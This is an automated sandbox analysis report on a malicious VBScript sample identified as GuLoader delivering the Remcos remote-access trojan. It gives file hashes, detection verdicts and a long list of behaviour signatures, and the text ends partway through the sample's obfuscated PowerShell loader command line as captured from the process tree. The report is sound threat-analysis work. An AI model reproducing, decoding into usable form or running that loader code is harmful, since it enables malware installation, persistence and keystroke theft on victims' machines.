Edit tour
Windows
Analysis Report
BKGCONF-THD1914129-BKGCONF-THD1914129.vbs
Overview
General Information
| Sample name: | BKGCONF-THD1914129-BKGCONF-THD1914129.vbs |
| Analysis ID: | 1410613 |
| MD5: | 62362dc3fc9d67f81dd8bcd670e8c117 |
| SHA1: | c871994bee2042d4cac07220e283166c3f58aa3f |
| SHA256: | e9144edc2096347981ed7ea94f6898cfd400918558cb0aba2f4edabbe472cf61 |
| Tags: | GuLoadervbs |
| Infos: |   |
 | |
Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Sigma detected: Remcos
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Remcos RAT
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Found suspicious powershell code related to unpacking or dynamic code loading
Installs a global keyboard hook
Potential malicious VBS script found (suspicious strings)
Powershell uses Background Intelligent Transfer Service (BITS)
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes or reads registry keys via WMI
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Sleep loop found (likely to delay execution)
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 2428 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\BKGCO NF-THD1914 129-BKGCON F-THD19141 29.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 1960 cmdline: C:\Windows \System32\ WindowsPow erShell\v1 .0\powersh ell.exe" " ++$Skatepa rk;++$Skat epark;$Ska tepark=$Sk atepark-1; Function q uenchlessn ess ($Kine ser){$Unen terprised= 5;$Unenter prised++;F or($Calin= 5; $Calin -lt $Kines er.Length- 1; $Calin+ =$Unenterp rised){$Un iversitets stillinger = 'substr ing';$Bjor n181=$Kine ser.$Unive rsitetssti llinger.In voke($Cali n, 1);$Win dlestrae27 =$Windlest rae27+$Bjo rn181}$Win dlestrae27 ;}$Plantes koles=quen chlessness 'TrommhJa llst Disct egerpAbb ksKrill:La nds/Invin/ KrselbA,ar mrSa psuFa rcesFlakkt T.itoi.ath oaSusc,a v estl Begyf Fum daHing e.D,putwFo dbreAu,orb Kr stsCyli ni BetanOp pus. Tydni Try.ltImpi ,/,hyllPLe jebrFremso FrededWool su SugakOl debt Lampi TndinoTar. knMidscsE cephDownla .istal Myo blSko peRi bbin Tilhs Crimi.bill tAttaihNo edbn Book ';$Udenrig sredaktrer ne=$Plante skoles.spl it([char]6 2);$Plante skoles=$Ud enrigsreda ktrerne[0] ;$Affatten des62=quen chlessness ' Si.ki.a croeRestix Abear ';$D eterments = quenchle ssness 'Il ksc\S,bsis B,mbyTale gsFlagewAv leroBonifw Randp6 Syn t4Ba.om\ H ypoW dityi midesnNoma ,d randore jouwChok s Spec,PLinn eo VandwDr i he Kn pr OverrSPo,y ghJuvene V amplS bstl Luxem\Gaus svMusc 1A, koh.Vid,l0 Ronsa\Mone bpHa.anoBa rnsw,rimle henslr Ove rsPreouhSa erde .quil Aabenl Ses q.,rikaeOv erfxBaj,re Brusk ';&( $Affattend es62) (que nchlessnes s 'Gur.e$. ronoVCryog aNond,lZan tcs ScrieS ta.dnAgall d EthieAle osSkamf=R egel$Congr eafpl nErh evUs kk:M ng.ewMoney iL,mbunFor andOrieniP ebercyclo ') ;&($Af fattendes6 2) (quench lessness ' Svejs$Ligs yDKursneKu ltitInvese R,plrFutt omHoverel, ngunBlodbt RamposBush n=Ti.ca$Au g.sV Rigsa KampflKult usNon.ieGe nern horud ElmaeFors ksLovo.+no rmf$FavntD Ce aseB,ta stEctopeCl uckr D,som Dragre Pak kn Lystt A rmbs ram ' ) ;&($Affa ttendes62) (quenchle ssness ' o pl$ Kur,CS krivaPla.t lBuckhvApp roipaafytB int.y Biff kolla=S o sn alcyo( Aspe( Chai gGo erwInd ermPl ini idea Pelli wBilliiFly d.n.chis3M on,z2Kondo _Ces.ipSui verOmbrooR om.ncLivsn e mdirsScr aisTilla , esod-Bombe FKultu Ker aPJvn nr A delo.ankmc Mi.seeReti nsReharsAl angISuperd nonr=Takk e$looky{Na kkeP La.rI KonfeDHy r o}Heth.)Su bsu.marveC WebbioRdne sm Ivy mPa lerasletbn S.romdStik dL HystiFo edsnsp.ose Coms)Pree x Purch-Sy r.isSkkebp AfstelPara niTaftktPa n.o Fuldf[ nonpec Tum bhS,blia A scarAlmon] Bunds3 Fr d4Pseud ') ;&($Affatt endes62) ( quenchless ness 'Nedr a$F.rvoHTe rmlaPasquv Over aInd, vr HaantH. emmiLods s Samf Micr =Scrag Tor v,$geleeC .veraAleur lSkrppv In coiFyrettS yn.byStil. [Brass$Cam omC P,maaK litolO.kup vNaturiPre t,t SepayP hyco.Arbej cCh rooOmb uduUncasnS traftGlide -Salgs2Sak is] arne ' );&($Affat tendes62)